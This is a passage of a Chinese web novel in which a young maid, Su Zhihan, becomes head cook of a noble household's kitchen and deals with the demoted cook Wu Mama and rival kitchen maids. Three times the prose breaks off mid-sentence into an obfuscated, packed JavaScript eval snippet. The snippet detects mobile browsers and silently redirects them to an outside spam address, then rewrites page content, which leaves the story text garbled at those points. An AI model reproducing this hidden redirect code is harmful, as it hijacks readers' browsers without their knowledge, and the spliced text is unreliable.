把吴妈妈挪到别处，等会做错了菜食，倒是怨到自己头上。 许娘子想了想，又撇了一眼苏芷寒，三月功夫让苏芷寒的脸颊多了点肉，身量也略略高了些，但顶着那黄松松的头发瞧着便是没长开的小丫头。 让她主事，倒是旁的仆妇丫鬟有意见，倒也麻烦。 许娘子打定主意，道：“往后你便继续做三等丫鬟的饭食。” “……哎？” “给寒姐儿打打下手罢。” 别说吴妈妈没作声，整个大厨房里安安静静的，没人说话。 即便众人尝过炸臭豆腐后，便晓得这回吴妈妈败得惨烈，却没想到许娘子竟是会直接教吴妈妈做寒姐儿的副手。 片刻以后，厨房里遍布嗡嗡声。 吴妈妈嘴唇哆嗦，万万不愿接受从掌勺厨娘沦为给三等婢女打杂的仆妇这种事，急道：“许娘子，我没有功劳也有苦劳罢……怎么就，怎么就……” “三日前，你未提出异议，不就是同意了吗？”许娘子瞥了一眼吴妈妈，说道：“再说我也未将你的月钱降成粗使的。” 就吴妈妈偷学不成还倒打一耙的事儿，罚上三月月钱，又或是降等都是正常的处罚。 许娘子觉得自个儿已很给吴妈妈脸面了。而她话里的意思也让吴妈妈不敢再往下说，生怕惹恼了许娘子，往后真成了粗使，被赶去洗菜洗碗，那真真是丢尽了老脸。 可，可是…… 她往后要帮衬寒姐儿做事？给寒姐儿打下手？这怎么不是把她的脸儿丢地上踩呢？ 吴妈妈脸色灰败，望着被曹妈妈等人簇拥着的苏芷寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601254|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，整个人都不好了。 迟些做完活计以后，苏芷寒便往家里走。路上不少听闻消息的仆妇婆子，见着苏芷寒连连道喜道贺，教苏芷寒花了小半个时辰才回到家。 回到家中，蒋珍娘也从三娘子院里回来了，同样得到消息的她乐得合不拢嘴，搂着女儿便说了一通好话。 原本蒋珍娘还筹谋着要让女儿进三娘子院的小厨房，又或是进四姑娘院里做事，没想到自家女儿这般有本事，不靠自己便升了三等，还直接当上掌勺厨娘。 虽说只是给三等丫鬟仆妇做吃食，但寒姐儿才几岁，往后的前程大着呢！ 蒋珍娘对着女儿夸了又夸，而后又把自己知晓的管事经验，还有往年听娘亲交代的那些，一并都教给苏芷寒。 苏芷寒依偎在蒋珍娘的怀里，认真记下蒋珍娘的话语，时不时附和着说上几句。 最后，蒋珍娘提起吴妈妈：“这事一出，吴妈妈定然对你不服气，恐会给你使绊子。” “我晓得的。”苏芷寒听许娘子让吴妈妈往后跟着自己做事时，便想到了这问题。她认真点了点头，早有了想法：“先尊着重着，再看吴妈妈的表现罢。” 见女儿已有准备，蒋珍娘也不再多说，叮嘱女儿要把手里的活计做好，而后随口说起自己听来的八卦趣事。 这边母女凑在一起说话，那厢吴妈妈也是抹着泪回到家里。 她的女儿绣荷打屋里出来，恰好见着这一幕，她忙把手里的活计放下，上前扶住吴妈妈：“娘，您这是怎么了？谁还敢给您委屈？” 吴妈妈只抹泪，不说话。 绣荷看在眼里，急在心里，先扶着吴妈妈进了屋坐下歇歇脚，而后又转身去倒了一盏子茶，送到吴妈妈手里：“我的娘，到底是谁给你委屈受了？您告诉我，我给您出气。” “我的儿……”吴妈妈揽着懂事的女儿直抹泪，半响才诉苦：“往后你娘我就不是掌勺厨娘了，还，还，还得给个黄毛丫头打下手！” “怎会如此！”绣荷心中一惊，手里的盏子没拿稳，直直摔在地上。 别看吴妈妈只是个给三等丫鬟仆妇做吃食的掌勺厨娘，可日日能接触到各院子的仆役，打听些琐事。 也正是从大娘子院里的人那得到些许消息，绣荷才得了机会露了脸，加上吴妈妈使了钱，教她顺顺利利进了常哥儿的院子。 要晓得常哥儿可是大娘子所出的长子，也是嫁入荣王府的大姐儿的胞弟，是府里如今最炙手可热的去处。 她面露担心，支支吾吾询问道：“阿娘……您说的黄毛丫头是谁，莫非是映红？” “映红那傻丫头能做……”吴妈妈拿着帕子抹了抹泪，她瞧不上映红，闻言先是反驳，而后怔了怔。 “你说映红做什么？”吴妈妈顾不得自个儿的事，手里捏紧了帕子。她抬眸端详女儿的神色，见绣荷目光漂移，登时急了：“莫非，莫非你得罪了珍珠姑娘？” “什么姑娘啊？她和我一样，也是就个丫头罢了。”绣荷闻言，下意识反驳道。 “我的好女儿呦……你咋如此糊涂！”吴妈妈顾不得自己的事了，急得双手捂住胸口，而后又紧紧抓住女儿的手：“那珍珠是个有前程的，原看着映红在灶房里做事，对你也有些面子情，你怎么，怎么还稀里糊涂地得罪人家？” 常哥儿屋里的丫鬟有十余个，像是大娘子陪房所出的珍珠，自是最得脸的存在之一。 虽说她还拿着二等的份例，但院里人都说珍珠和另外几人前程好。 绣荷觉得奇怪，回来与吴妈妈说。吴妈妈后来使人打听一番，才晓得珍珠与另外几人都是大娘子挑的通房人选，如今正跟着妈妈学习，据说等常哥儿通过科举，便要开脸伺候的。 “我陪你道歉去。” “我才不去！”绣荷的脸儿涨得通红，甩开吴妈妈的手。 “你这傻丫头！往后珍珠……” “我才不傻呢！”绣荷打断吴妈妈的话，委屈道：“珍珠还没我容貌好，她当得了通房，我难道当不了吗？” “我不要，我才不要往后被主子随便指个人成婚，又生出一帮奴婢来！” “我早就想好了，我要当常哥儿的通房，让我肚里出来的孩子也能当上主子！” 吴妈妈没想到，自家女儿竟是有这般的志向。她瘫坐在炕上，半响都没回过神来：“我的儿，这条路哪是好走的……” 老侯爷当年名动京城，看上老侯爷的千金又何止老太太一人。待到两人成亲以后，屋里的通房妾室更是数不胜数。 可如今呢，府里只留下了老太太和她的血脉，其余人早就消失得无影无踪。 吴妈妈是府里的老人了，这些年见着有自己走了的、有被卖了的、有被转赠他人的，还有的不明不白死了的。 当通房，当妾室，当养娘…… 瞧着多富贵，多体面，多让人欣羡的事儿，可里面的福气又有多少人能享到？ 吴妈妈再也顾不上自己的事，苦口婆心劝着女儿回心转意。 可绣荷进了常哥儿的院子，早被那些富贵迷花了眼，又哪里是她三言两语能拦住的。 28.醉酒 正当吴妈妈忘了大厨房事，苦劝女儿回心转意之时，那厢秋月和素兰也面带愁容，分头离开大厨房。 现在除去吴妈妈以外，大厨房里最尴尬的便是她们二人。 秋月和素兰本是跟着吴妈妈学厨艺的，是正儿八经的厨娘后备役。 可如今，苏芷寒的异军突起教本跟着吴妈妈学厨艺的两人地位尤为尴尬。 要是两人天赋不错，又或是家里有门路，此刻定是寻家人相助，寻个别处学习厨艺。 只是两人之所以跟着只给三等丫鬟仆妇做吃食的吴妈妈，便是因为两人又没钱，也没权，天赋更是一般般。 秋月抹着泪儿，往家方向走，只觉得自己前途一片渺茫。她回家里诉苦两句，就被自家娘亲塞了酒水吃食，领着出门去：“你这丫头，说傻的时候又挺聪明，上回晓得私底下去寻曹大丫道歉。” “可说你聪明，你又傻了。” “上回的事儿都过去了，那事也是吴妈妈起的主意。”秋月她娘手里提着一份，教秋月拎着另外一份，准备领着女儿去寻曹妈妈：“我领你去，请曹妈妈帮忙到苏娘子跟前说两句好话，曹妈妈与苏娘子关系好，定然能教你安安稳稳过去的。” “阿娘，倒也不用讨好寒姐儿吧。”秋月低下头，瞅了眼手里拿着的东西，又是欢喜又是心疼：“她又没啥本事，教不了我什么的，给她还不如省着给小妹……” 她爹娘都只是三等的仆妇打杂，家里攒下的银钱只够送一个人进院子做事。 在姐儿院里做事的小妹月钱多孝敬给管事了，每月拿不回几个，还得家里帮衬。 阿爹和阿娘与她说，等小妹升上三等二等，往后有了脸面，也好教她到小厨房里做事。 “你这丫头，你和你妹都是从娘肚子里出来的，我疼她，也疼你。” 秋月她娘撇了一眼傻乎乎的女儿，伸出手指戳着她的脑门：“人现在是掌勺厨娘了，你得尊重着，哪能开口闭口说人没本事的？” “再说苏娘子真没本事，吴妈妈又不愿搭把手，这不刚好就是你出头的时候？”秋月她娘倒觉得是个好机会，年纪小的苏娘子总比人怪会算计的吴妈妈好忽悠。 她领着女儿一路寻到曹妈妈家，曹妈妈见着秋月母女两人到来，便晓得她们的心思。 曹妈妈并未刁难，只拎起酒水吃食，带着两人往蒋家走：“寒姐儿性好，不是那些刻薄小性记仇的人，想来不会苛待秋月的。” “走走走，我领你们去。” “怕什么……怕吴婆子瞅见秋月你？哎哎哎，不用怕，她忙着呢，回家以后屋子里就闹腾到现在。” 曹妈妈摆摆手，她刚回来时便听到吴妈妈在屋里嚎哭。 说句不好听的，那声音和丧钟似的，让她心惊肉跳的。 晓得的人晓得吴妈妈是丢了活计，不晓得的人还以为吴妈妈是丢了命呢。 曹妈妈吐槽几句吴妈妈，热情满满地把人领到蒋家院子，敲了敲门，往里唤道：“寒姐儿在不？” 坐在门口洗菜的王媳妇见曹妈妈领着人来寻苏芷寒，登时打起精神，用眼角余光撇着那边的动静。 片刻功夫，蒋家大门吱呀打开。 苏芷寒从里面探出身来：“曹妈妈寻我……秋月？还有这位是……” 秋月她娘脸上堆笑：“您就是苏娘子吧？真真是年少有为。我是秋月的娘，也姓蒋，说起来和蒋娘子还是同宗呢！” 蒋珍娘闻言，也走上前来。她瞥了一眼直往这边窥视的王媳妇，拉着苏芷寒侧身让开路来：“都站在外面做什么？到屋里来坐坐。” 随着一行人鱼贯进了蒋家屋子，王媳妇再也无法控制住自己的表情，手里拿着的菘菜呱唧一下，尽数掉进水盆里，溅起好大一片水花。 苏……娘……子 苏娘子？苏娘子！？ 府里年岁小，加之无甚地位的粗使丫鬟，旁人多会直接称呼名字，或是称之做某姐儿。 等到粗使丫鬟晋升为三等和二等的丫鬟，又或是岁数年长些的，那粗使乃至隶属于她的仆妇婆子便会用娘子来称呼。 要是晋升为一等的大丫鬟，那府里上下仆妇婢女便会用某某姑娘来称呼。 因此在侯府里，不同的称呼代表了不同的地位。 王媳妇虽不认得秋月和素兰，但瞧着她们年岁都要比寒姐儿大上一点来看，正常也只要唤寒姐儿就可以，怎会唤苏娘子…… 更何况，王媳妇还注意到三人手里拎着的酒水和吃食，分明是来给寒姐儿送礼的！ 寒姐儿才几岁的姑娘？她不就是府里一个粗使丫鬟吗？怎么如今竟是有人给她送起礼来？ 王媳妇的脑袋乱糟糟的，直到蒋家大门再次打开才反应过来。 她七手八脚地把菘菜堆在盆里，洗干净就往屋里抱去，同时也不忘竖起耳朵，试图听到些许话语。 王媳妇没听见任何对话，暗道可惜，低着头走进屋里。王大宝见状，小跑上前来：“娘，娘，今天吃什么。” “吃菘菜猪肉汤。” “又是菘菜猪肉汤……我想吃烤鸡！”王大宝噘着嘴，一屁股坐在地上，扯着嗓门就要嚎。 “你奶不在，嚎也没用。” “等你奶奶拿回月钱，咱们就去买。”自打王婆子老老实实上工，而非日日偷闲回家看孙子，王媳妇终于能有管教儿子的机会，让王大宝不敢像过去那般骄纵。 她不理儿子的哭闹，只把陶罐里的散钱倒出来，数来数去也只有二十个铜子。 就这点钱，能买多少肉？ 她家郎君上月只给家里五十个铜子，加上婆婆上月请了假，拿回家只有一百五十铜子…… 两百铜子，要过一个月…… 就算是三餐都拿府里的吃，也难熬得厉害。 这边王媳妇发愁日子难熬，那边蒋珍娘瞅着秋月和秋月她娘送来的东西欢喜。 虽是些酒水肉菜，价值不高，但意义却是不同。 饶是刚刚已晓得女儿荣升的事情，也挡不住蒋珍娘再次心里欢喜。她先把秋月娘给的两贯钱放匣子里，而后捡了一只烧鸡和二两酒，准备热上一热，再和女儿喝上一杯，庆祝庆祝。 这边蒋珍娘准备吃食，而苏芷寒也没闲着。她把下午去了核的山楂取出一部分，再清洗两遍后倒入陶锅内，往里加入粗盐、冰糖和饴糖，另外还加了用一颗酸得掉牙的蜜橘挤出的汁水。 先大火煮开，再转小火。 很快，酸酸甜甜的山楂香气从锅里氤氲而起，悄悄溜进母女俩的鼻尖。那酸津津的味儿，登时教两者食欲大开。 没多久，烧鸡的浓香也在室内溢散开来，毫不客气地侵占半个屋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617570|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，与酸甜的山楂香你来我往，誓不罢休。 待锅里的汤汁变得黏腻浓稠，那边重新烘烤的烧鸡和酒水也热好了。 蒋珍娘伸手一拧一撕，迅速扯下一只大鸡腿往女儿的手里递：“寒姐儿，快尝尝大鸡腿。” 苏芷寒关了火：“娘，等等。” 她拿了两块抹布搭在陶锅边缘，把滚烫的锅子送到冷冰冰的室外。 时下天气冷，每日早上起来苏芷寒都能见到花花草草上结起的薄霜，温度拿来给陶锅降温刚刚好，算得上是天然冰箱了。 紧接着苏芷寒合上大门，又钻进温暖的屋子，挤在蒋珍娘的身边，接过那只大鸡腿。 刚刚复烤好的大鸡腿滚烫滚烫的，一口下去外皮脆而不老，油而不腻，鸡肉更是汁水丰腴，咸香鲜甜。 苏芷寒三两下便啃完了个大鸡腿，而后又不顾蒋珍娘劝阻，直接喝了一盏子热酒。 那酒辛辣得很，吞下去的瞬间便如一团火焰在心头窜动，热气直往上蹿，教苏芷寒的脸颊迅速泛红，脑袋也晕乎乎的。 “哎……醉了？” “我才没醉呢。”苏芷寒红着脸儿反驳，话音落下便打了个哈欠，眼眶里都挤出泪珠来。 “只有醉鬼才说自己没醉呢。” 蒋珍娘睨了一眼女儿，又给自己倒了一盏子热酒：“瞧瞧你的脸蛋，只喝了一盏，你就红成那样。” 这身子才十二三岁，往前还没喝过酒呢！苏芷寒不服气地瞪蒋珍娘，嘟着嘴抱怨道：“等我到十八……不！十六岁的时候，保准就能喝得比阿娘还多！” “那咱们约好了。” “等你十六岁时，咱们娘俩再一起比一比！” “好。”苏芷寒不假思索地应了下来。她趴在桌案上，脑袋埋在胳膊里，嘴里咕哝着：“到时候……” “到时候？” “我们一定已搬去顶好的屋子里……” “……”蒋珍娘托着脸，嘴角噙着笑，瞅着醉酒的女儿。苏芷寒咕哝着，声音越来越轻微：“全家人一起，喝酒。” 蒋珍娘瞧着张着小嘴，睡过去的女儿，哑然失笑。她把手里的东西放下，又把昏睡的女儿抱起，送到屋里的炕上。 她烧了热水，给女儿抹脸又洗脚，最后用被褥把苏芷寒裹得严严实实。 蒋珍娘坐在炕边上，瞅着女儿红彤彤的脸蛋，半响才轻叹了声：“全家啊……” 她的心头，刺痛了一下。 蒋珍娘摇了摇头，把那些愁事尽数抛到脑后。 教她说，如今的日子已是好到过去难以想象，蒋珍娘无甚渴望，也不要大房子，大院子，只要女儿与她都平平安安。 到三年后，到十年后，又或是几十年后母女俩能这般坐在一个屋里说话，那就是顶顶好的了。 蒋珍娘洗漱过后，也跟着歇下。 次日清晨，苏芷寒醒来时便觉得脑袋痛，她扶着脑袋直哼唧，心中暗暗叹气：亏她上辈子也是个喝酒好手，如今竟是个一杯倒！ 话说，她昨儿个没说什么话吧？ 苏芷寒顶着晕乎乎的脑袋，穿着袄子准备去外面洗漱。 直到推开门，她一脚踹在陶锅上，才想起昨日被遗弃在外面的吃食：“啊！我的山楂！” 再看一眼陶锅，苏芷寒更是心痛：“啊！我的锅！” 29.炒红果 苏芷寒端起锅子，仔细查看，确定陶锅上多出一条裂缝后登时心死如灰。 陶锅虽远不如铁锅值钱，但也价值不菲，这般大小的，一只便要三百文。 就算是自家渐渐有了存款，也不想费钱换锅的苏芷寒垂着泪，抱着身先士卒的陶锅进了屋。 在里间便听见女儿痛呼声的蒋珍娘探出身瞅了眼，不敢说话。谁让她昨晚是后睡下的，也把锅子还在外头的事忘得干干净净。 还好苏芷寒并没悲伤多久，便再次忙碌起来。趁着陶锅还没漏，她赶紧把里面红艳艳的山楂果逐一舀出，放到大瓷碗里。 等大瓷碗装满，锅里还有不少。 苏芷寒又翻出一摞小瓷碗来，先舀了一碗送到蒋珍娘跟前：“阿娘，待会洗漱好了吃一碗。” “另外些……我分开装，这些阿娘拿去给徐妈妈尝尝？上回您说天气干冷，徐妈妈嗓子不适，胃口不开，这炒红果正适合。” 苏芷寒动作麻利，一边把剩余的山楂果分成两大份，一份让蒋珍娘留着或是分于旁人尝尝，另一份打算拿到大厨房里分了用。 蒋珍娘闻言，走到桌案边来看，只见那白瓷碗里放着三四颗色泽红艳的山楂果，粘稠的粉色汤汁落在上头，又徐徐往两侧滴落。 酸甜的香味没有昨日炖煮时那般浓烈，变得淡淡的，如一根在鼻前撩动的羽毛，教人闻着便心痒痒。 蒋珍娘忍着心动，先去洗漱，诸事做完以后她才重新回到桌案前，捡起汤勺，舀起一颗，迫不及待地送入口中。 炖煮过的山楂绵软细腻，入口即化，汤汁和果肉在舌尖流淌，酸甜的味道刺激着味蕾，让人食欲大开。 蒋珍娘连吃三颗都不过瘾，后头早食还比平日多吃了个肉饼。 她把前两日做的棉鞋带上，又拎着食盒去上值。等到了三娘子院，她便先提着东西去了后梢间，徐妈妈便住在这里。 “徐妈妈，您在吗？” “珍娘？进来吧。”随着屋里话语声起，蒋珍娘推门而入。 眼前屋子并不宽敞，一眼便能看到全景，一张挂着香色帐子的木床，边上几只箱笼和一张桌，桌上除去搁着铜镜、脂粉、澡豆和头油等物以外，还摆着两碟子糕点、一壶茶水和一支好烛。 另外，屋子角落里还摆着个炭盆，里面用的是上好的细碳，屋里点着没有火烧火燎的炭火味，倒是带着一股淡淡的花香。 要晓得屋里伺候的大丫鬟才能住得起四人一间，上下铺的屋子，至于院里伺候的二等三等丫鬟，要么回家里住，要么只能睡在大通铺。 而能单占一间屋子的，都是主子跟前备受宠信的管事妈妈。 蒋珍娘目光自然地落向靠在床榻上的徐妈妈，见她靠在榻上，神色恹恹，急忙询问道：“妈妈身体如何？可请大夫来瞧过？” “放心吧，三娘子宽厚，已请大夫来看我过，只是入了秋冬常有的小病罢了。” 徐妈妈看着蒋珍娘手里提着的东西，笑容真切了些：“珍娘，我不都与你说了，你啊多攒些傍身钱才是，怎么又拿东西来？” “不费几个钱，是我和我女儿孝敬您的。”蒋珍娘笑了笑，把棉鞋搁在一旁，先打开食盒，盛出一碗炒红果来：“寒姐儿听说您胃口不开，身体不舒服，特意熬了这个，要我送您尝尝。” 徐妈妈闻言，心里很是舒服。蒋珍娘的女儿在灶房里做活，哪能晓得自己生病不舒服，定是蒋珍娘在家里频频提起，才教那孩子记在心里。 到她这个位置，看重的便是心意。倒不是要全心全意为自己好的那种心意，而是愿意在自个儿身上花费心思的心意。 这回，徐妈妈不再是因三娘子的叮嘱而对蒋珍娘颇为上心，是真真把她记在心里。 别看记在心里这四字，能在三娘子身边当值，又有单个儿屋子住的管事妈妈，愿意讨好徐妈妈的人数不胜数，可能教她记在心里的，也就寥寥几人罢了。 徐妈妈笑眯眯地坐起身来，接过蒋珍娘递来的白瓷碗和汤勺。她仔细瞧了瞧色泽鲜亮，香味清甜的炒红果，笑眯眯的尝了口。 暖烘烘热乎乎的屋里，吃一口冰凉酸甜的炒红果，那滋味怪好的。 蒋珍娘又取出自己做的棉鞋，给徐妈妈瞧了瞧，那鞋面用绸子做的，绣着如意寿桃纹，里头是夹了棉的，甚是暖和。 徐妈妈起身试了试，尺寸也是刚刚好，看着也不显得脚胖，等走了几步，她更觉得脚底都快冒汗了，可见用料扎实，实属上心。 本就对蒋珍娘好感上升的徐妈妈，心里更高兴了，先把一碟子糕点送到蒋珍娘手里，又起身要去箱笼里翻布料给蒋珍娘。 “我的好妈妈，您快躺下吧，这些是我和女儿的一番心意，您给这些教我们怪不好意思的。”蒋珍娘见状，忙拦着徐妈妈，心里暗想自己就是想与徐妈妈拉近关系。 这送了炒红果和棉鞋，收了点心也就罢了，再收上一匹好布料，倒变成自己占便宜来了。 徐妈妈见她不要，也就没再去开箱笼，只叮嘱蒋珍娘不要怠懈，要好好做事，又教她叮嘱寒姐儿好好在大厨房里学手艺，莫要急着寻路子：“你家女儿比四姑娘要大上三岁，这岁数刚刚好。” “待她在大厨房里学上三年手艺。” “等四姑娘订下亲事，选人时岁数刚刚好。到时候你在娘子跟前有脸儿，寒姐儿去姑娘屋里也有底气，定有一番好前程。” 徐妈妈半是给蒋珍娘指路，半是记着三娘子的话。三娘子与大房二房关系都不太好，有意拿蒋珍娘当枪使，从中得点好处。 要是蒋珍娘和寒姐儿没本事，恐怕往后被大房二房所厌，又被三娘子抛到脑后，两者怕是日子难过。 要是两者有本事，又能进三房做事，三娘子多少也会看顾些，或是留下，又或是做四姑娘的陪房，都是条好出路。 徐妈妈看着蒋珍娘若有所思的模样，也没再多说，只教她早些去宠物房里，免得三娘子寻不到她。 正当蒋珍娘与徐妈妈说话时，苏芷寒也来到大厨房。她做足了吴妈妈刁难自己的准备，可等人来了，却发现吴妈妈没前日的傲慢跋扈，瞧着竟是面色苍白，眼底青黑，心神恍惚。 莫不是因着厨房事，一夜没睡好？苏芷寒撇了一眼吴妈妈，按着昨日从秋月口中打听来的做事习惯，吩咐吴妈妈去备菜。 她在旁边瞅着，原是怕吴妈妈阴奉阳违，没想到吴妈妈竟是老老实实的尽数做完，愣是没露出一丁点要与苏芷寒对着干的意思。 别说苏芷寒惊讶，章妈妈都好几回转身来看吴妈妈。而曹妈妈更是震惊，拉着曹大丫和映红念叨：“稀奇啊？吴婆子不会是吃错药了吧？” 她还想帮寒姐儿盯着些，没想到吴婆子竟是与往日完全不同，老实到让人匪夷所思。 那厢，秋月见状庆幸自家娘清醒，直接教自己送了礼使了钱。她放下心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14629783|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，老老实实按着往日流程开始备菜。 而站在她身边的素兰悄悄蹙起眉梢，一边跟秋月一道做事，一边用眼角余光瞥着吴妈妈，不信吴妈妈会就此认输。 苏芷寒也很疑惑，却也知吴妈妈定然不自在。她看吴妈妈发呆归发呆，做事并不马虎以后，便收回目光，转而去检查了秋月和素兰手里的活计。 最后，她翻开账册细细查看，昨日曹妈妈与她说了，掌勺厨娘不但要管做菜，而且还要管对应的支出收入，全数都要列在册上，供府里查账用的。 苏芷寒前世便是开饭馆的，对这些了若指掌，再加上她此前常在市井奔波，对大小食材物价了若指掌。 因此她只看了几眼，便瞧出了猫腻来。且不说香料食材价格波动巨大，不能立刻辨别问题，光是厨房里用的木炭柴火之价便大有区别。 苏芷寒只装作不懂，看了几眼便把账册收好，另取新册子记录。若是吴妈妈真敢贪钱，想来也不是贪了全部，一部分也是上供给了许娘子，而她在大厨房里做事，免不了往后要与许娘子打交道。 把人得罪了，往后她如何做事？ 苏芷寒收回心思，认认真真琢磨起往后的工作来。 她稍一规划，就发现作为三等丫鬟仆妇做吃食的掌勺厨娘，自己要做的活比以前少上许多。 粗使丫鬟仆妇们收入低，自是节省的人多，大半人都要在大厨房里用饭。饶是曹妈妈用一锅乱炖加烙饼糙米，每日三餐的工作量也不容小觑。 而三等丫鬟仆妇不但月钱和例赏翻倍，而且还比粗使们多了一笔月食钱，时常会选择和院里其余丫鬟仆妇点餐食打打牙祭，晚间也会回自家里吃饭。 每日来大厨房里用吃食的，满打满算也就三四十人。为了避免有人临时有事过来却没用上餐食，灶房里一般还会多做些，像吴妈妈过往便是做五十份的。 最重要的是虽然许娘子换了苏芷寒主事，但并未撤走原有的人手，有吴妈妈、秋月、素兰以及两个年岁小的粗使丫鬟帮忙做事，苏芷寒就是闲着也无甚问题。 换做其余人，说不得还真被这般的糖衣炮弹给砸中，乐得放手把事儿都交给吴妈妈等人，自己在旁清闲的同时摆摆管事的谱。 苏芷寒却不觉得事儿能这么简单，她琢磨了下，并未更改吴妈妈留下的各类规矩，照旧往下做。 非要说有点区别，便是往日曾过来问曹妈妈和苏芷寒要一碗菜尝尝的三等丫鬟们面露喜色，她们往前还得给钱教苏芷寒帮忙做菜，有时还会得吴妈妈白眼。 如今她们见轮到苏芷寒管饭食，吴妈妈成了副手，别说为吴妈妈抱不平，更是纷纷道贺。 还有人直接报起菜名，想教苏芷寒往后做来吃吃。 苏芷寒取了单子尽数记下，回头就此琢磨琢磨菜单。不过她话也说在前头，要是人报出的菜名价贵做不得，也不能怪她。 一帮三等丫鬟仆妇无所谓，纷纷笑着应是。她们好话一筐接着一筐，教旁边的素兰看得直皱眉，她们说的那些吴妈妈不爱做的菜，多是吴妈妈拿捏着，想要她们出钱才肯做，也就寒姐儿啥都不懂，被她们忽悠得团团转。 那些个菜，她与秋月也不会做。 而寒姐儿只会几道小食点心，原先在粗使灶头做的几道菜也都是乡野菜色。 教她说，别看说是寒姐儿管事，瞧她现在被吹得飘飘然的样儿，怕是没过几日便得求着吴妈妈帮忙。 30.第三十章 再说苏芷寒，她送走恭贺的婢女仆妇后，便觉得这件事有些奇怪。 再细细琢磨片刻，她便发现那名率先提出要吃各种菜品的人物着实脸生，并非过往曾往曹妈妈处，问自己与曹妈妈点菜的，反而是个未曾与自己说过话的三等丫鬟。 这人凑在其他人中间说话，好不起眼，自己当时也没注意到，还以为都是来往熟悉的。 苏芷寒敛了敛笑容，撇了一眼低头做事的吴妈妈，心中怀疑是她使人来捣乱。 等回头偷偷问过曹妈妈，晓得那纸上写的菜品都是吴妈妈擅长做的以后，苏芷寒越发肯定了自己的猜测。 从那日吴妈妈胡搅蛮缠，自己偷学臭豆腐不成，还往苏芷寒身上扣锅以后，曹妈妈更是嫌弃吴妈妈了。 她闻言，直接啐了一口：“怪不要脸，净是想这种招数。” 而后，曹妈妈又担心地看苏芷寒：“那后头要怎么办？我怕你教她做菜，她却不搭理你……” 偏偏自己的厨艺是真不如何，怕是没办法帮上忙的。曹妈妈想了想，悄声道：“我与二娘子院里的厨娘有几分交情，不如带你去认识认识？” 曹妈妈的意思，便是教苏芷寒去送礼，从厨娘手里学上几道，也好应付过这事。 苏芷寒婉言拒绝，一来她还是大厨房的人，去寻二娘子院里的厨娘岂不是把许娘子的脸皮丢地上踩，二来蒋珍娘时下在三娘子院里做事，自己去寻二娘子院里的人实在有些不好。 曹妈妈拍了拍自己的嘴，暗道糊涂。 苏芷寒想了想，笑道：“妈妈放心，我已有了主意。” 当日，她便做了两道菜，一道是炝炒青菘菜，另一道是三鲜豆腐汤。 那青菘菜便说的是青菜，时下青菜挂了霜，甚是鲜嫩，炒完以后色泽油亮，味道清甜。 另外一道三鲜豆腐汤用煎虾头而成的虾油做底，上面放细细的猪肉沫、切片的菌菇和嫩豆腐，最后再摆上去头去皮的虾仁，汤色乳白，真真是鲜到掉舌头。 “寒姐儿，您这手艺不错啊。” “这是什么汤？闻着真好味。” 凡是进来的仆妇婢女，都要过来瞧上一眼，说道两句。许是头天吃到苏芷寒的手艺，凡是吃的三等仆妇丫鬟，无一例外皆是夸赞。 越是这般，旁边的素兰越是肯定苏芷寒只会些乡野菜。府里的仆妇婢女见惯了各种大鱼大肉，用的香料食材也都是顶顶好的，哪会连熬个虾油都只用虾头，汤里放点猪肉还抠抠搜搜的，只用肉糜不用肉片。 仆妇婢女吃惯了大鱼大肉，偶尔吃吃这般的吃食还觉得有滋有味。教素兰说，待这般吃上几日，等苏芷寒没别的菜色而开始反反复复做这几样东西，保管屋里的仆妇婢女要闹腾起来。 素兰冷眼旁观，越发肯定自己猜测。她面上神色不变，规规矩矩，老老实实做着活，待下值以后便回了家，想要问家里人要钱给吴妈妈送些礼。 素兰娘不舍得出钱，当初送素兰进灶房学手艺，他们就又出银钱又出料子，可这都好几年了素兰还是个厨婢，连学会的菜色都没几道，每月的银钱还都被吴妈妈霸去大半。 “这都几年了，都没教你几回东西，送礼做什么……”素兰娘忍下半句没说，她没去吴妈妈跟前嘲笑几句，都还是看在素兰要继续在大厨房里做活的面子上。 “锦上添花是好，又哪里有雪中送炭教人记得住。”素兰也晓得吴妈妈人品不好，可比起苏芷寒来，吴妈妈好歹是真有手艺的，她在大厨房呆着不就是为了学手艺嘛。 “可她要拿了好处，也不教你又怎么办？”素兰她娘心里还有疑虑，觉得把钱给吴妈妈，那就是继续打水漂，还不如用到旁处实在。 素兰费尽口舌，最后只从她娘手里要到二十个铜板。二十个铜板能有什么用处，只能买下等的散酒和酱肉罢了。 素兰心中委屈，回头拿了自己的私房钱，去市井上买了一条酱肉，另加一斤好酒。 只这样还不够，素兰晓得吴妈妈小性，恐她记仇，想了想，决定请吴妈妈的女儿绣荷给自己说些好话。 